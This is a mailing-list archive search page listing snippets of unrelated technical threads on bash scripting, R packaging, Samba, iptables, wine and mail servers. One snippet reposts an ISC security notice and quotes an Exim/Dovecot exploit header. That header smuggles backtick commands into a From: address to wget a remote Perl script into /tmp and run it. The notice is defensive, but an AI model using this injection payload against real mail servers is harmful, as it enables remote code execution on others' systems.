Displaying 20 results from an estimated 2000 matches similar to: "bash script reading directory with while and do"
2015 Sep 26
6
Hidden files problem in R CMD check
Dear Dirk,
Yes, I know, however forget for one moment R.
If I use tar independent of R it still should not create these hidden
files.
BTW, do you know where these hidden files are stored on the Mac?
Best regards,
Christian
On 09/26/15 23:01, Dirk Eddelbuettel wrote:
>
> On 26 September 2015 at 22:41, cstrato wrote:
> | Dear Simon,
> |
> | Thank you very much for your help, it
2009 Jan 03
2
Bash cgi upload form
Anyone have a function or script for uploading files from a web
browser with a bash script? I know this is possible to do with Perl,
I'm wondering if the same is possible using only bash.
2020 Jul 23
5
Off Topic bash question
I have a simple script:
#!/bin/bash
#
index=0
total=0
names=()
ip=()
while read -r LINE
do
NODENAME=` echo $LINE | cut -f 1 -d ','`
IP=` echo $LINE | cut -f 2 -d ','`
names[index]="$NODENAME"
ip[index]="$IP"
index=`expr index+1`
total=`expr total+1`
done <<< $(cat list.txt)
simple file:
more list.txt
name1,ip1
name2,ip2
name3,ip3
output when
2006 Jan 17
3
Mail.app message numbering for deleted messages
I'm having a strange problem that appeared when I upgraded from
.99something to 1.0alpha3 and then disappeared for a while and then
re-appeared when I upgraded to 1.0alpha5.
I am using mbox and IMAP in Apple's Mail.app to read my mail. When I
delete a message in Mail.app, the message gets marked as deleted in the
spool and it disappears from the mail listing in Mail. However, the
2017 Oct 25
11
[OT] Bash help
I know this is for CentOS stuff, but I'm at a loss on how to build a
script that does what I need it to do.? It's probably really logically
simple, I'm just not seeing it.? Hopefully someone will take pity on me
and at least give me a big hint.
I have a file with two columns 'email' and 'total' like this:
me at example.com 20
me at example.com 40
you at domain.com
2003 Aug 25
6
PDC + LDAP + W2K-SP4 Domain logon
Dear all,
___Setup:
- several wINDOWS 2000 workstations on SP4 (reg-patches applied, they
worked on 2.x-stable)
- Samba PDC (CVS 3.0.0rc2) (machine accounts added aswell as users in
unix & samba)
- OpenLDAP (2.1.12) <-- (Not really relevant since I tried without ldap
too, so no info about that from this point)
- Linux <HOSTNAME> 2.4.19 #1 Fri Jun 13 15:22:09 UTC 2003 i686
2013 Oct 18
6
- monitoring software
hi,
I have a dedicated server with several services running: ssh, ftp, httpd
(with several sites andactive domains), the mail server (dovecot,
postfix), dns.
I'd like to monitor all of these services in a graphical, easy, setting
of thresholds and alerts via email.
I would also like that if a customer wanted to see the graphs I could
create codes read-only.
there is one or more software
2015 Sep 26
2
Hidden files problem in R CMD check
Dear Simon,
Thank you very much for your help, it did solve my problems!! Great!
I have googled COPYFILE_DISABLE and found the following site which does
explain the issue with tar on Mac OS X, see:
http://unix.stackexchange.com/questions/9665/create-tar-archive-of-a-directory-except-for-hidden-files
Instead of doing:
$tar czf xps_1.29.2.tar.gz xps
I did now:
$COPYFILE_DISABLE=1 tar czf
2017 Aug 04
4
BranchProbability/BlockFrequency for a chain of ifs
I'm look at some code that does something roughly like this
if (a >= 10 && a < 20) {
// do calculation
} else if (a >= 30 && a < 40) {
// do calculation
} else if (a >= 50 && a < 60) {
// do something
} else if (a >= 70 && a < 80) {
// do something
}
// some other code that got split based on whether we entered any of the
2001 Dec 30
1
ifs estimator
Hy all,
I have written a small library that provide a new distribution function
estimator based on IFS (that are essentially fractals).
I would be pleased if any of you can build hte library for Unix-type
machines and Windows implementations with the included makefiles as a
Mac library is already working. As I'm not able to test these platforms
any modification to makefiles is welcome.
2019 Jul 25
3
[Bug 1358] New: Error when atomically replacing rules with symbolic variables
https://bugzilla.netfilter.org/show_bug.cgi?id=1358
Bug ID: 1358
Summary: Error when atomically replacing rules with symbolic
variables
Product: nftables
Version: unspecified
Hardware: x86_64
OS: other
Status: NEW
Severity: blocker
Priority: P5
Component: nft
2007 Jan 13
2
Is wine 0.9.22 the only working
Hi,
I'm a Ubuntu Edgy user, I'm using some win32 softwares
with wine 0.9.22,I think wine is great: everything
works perfectly!
Few days ago I see my wine version is very old so I
decided to upgrade to 0.9.29 but...
softwares I used perfectly with 0.9.22 don't work at
all with recent wine versions. :-/
I believed the more recent is Wine, the better
compatibility it has with win32
2013 Jun 09
1
from ISC: Exim/Dovecot exploit making the rounds
One of our readers wrote in to let us know that he had received an attempted
Exim/Dovecot exploit attempt against his email server. The exploit partially
looked like this:
From:
x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com
(Obviously edited for your safety, and I didn't post the whole thing.)
This is an exploit against Dovecot that is using
2015 Sep 26
0
Hidden files problem in R CMD check
On 26 September 2015 at 22:41, cstrato wrote:
| Dear Simon,
|
| Thank you very much for your help, it did solve my problems!! Great!
|
| I have googled COPYFILE_DISABLE and found the following site which does
| explain the issue with tar on Mac OS X, see:
| http://unix.stackexchange.com/questions/9665/create-tar-archive-of-a-directory-except-for-hidden-files
|
| Instead of doing:
| $tar czf
2015 Sep 27
0
Hidden files problem in R CMD check
On Sep 26, 2015, at 5:06 PM, cstrato <cstrato at aon.at> wrote:
> Dear Dirk,
>
> Yes, I know, however forget for one moment R.
>
> If I use tar independent of R it still should not create these hidden files.
>
> BTW, do you know where these hidden files are stored on the Mac?
>
Please consider reading my original reply - those are not actual files (all but
2015 Sep 27
0
Hidden files problem in R CMD check
On Sep 26, 2015, at 2:06 PM, cstrato wrote:
> Dear Dirk,
>
> Yes, I know, however forget for one moment R.
>
> If I use tar independent of R it still should not create these hidden files.
>
> BTW, do you know where these hidden files are stored on the Mac?
Your first posting showed which of several different directories they were in. Do you understand that any file whose
2012 Aug 02
1
[CentOS 6] - problem install skype
Hi all,
I am having trouble with installing skype.
I downloaded the 2.2 version via the official site, I installed by
typing rpm-i but now quadno the launch the application does not start.
do you know how to fix it?
thanks in advance
2013 Oct 10
2
- problem with iptables
hi all,
I have a problem with iptables on CentOS 6.2.
I configured:
chkconfig iptables on
and the file /etc/sysconfig/iptables
if you reboot the machine configurations are not loaded.
iptables-L gives me the default configurations (not assigned)
if I (a machine booted): service iptables start then then it works.
how can I fix?
thanks in advance
2014 Mar 01
2
- automation script
Hi everybody,
I have many server in production but I would verify this:
ex.: I have many domain in /var/www/html/ (domain1 / domain2 / domain3)
now,
How I do check if the files are added or changed?
I should apply this "politic" for all domains but I don't know how
It is possible send me an email with the modification?
so, exist diff command with some option but I don't
2005 Feb 01
4
Shorewall problem
I am getting the following message when Shorewall stops can anybody shed
any light on this message and where I should be looking? Thanks
root@bobshost:~# shorewall stop
Loading /usr/share/shorewall/functions...
Processing /etc/shorewall/params ...
Processing /etc/shorewall/shorewall.conf...
Loading Modules...
Stopping Shorewall...Processing /etc/shorewall/stop ...
IP Forwarding Enabled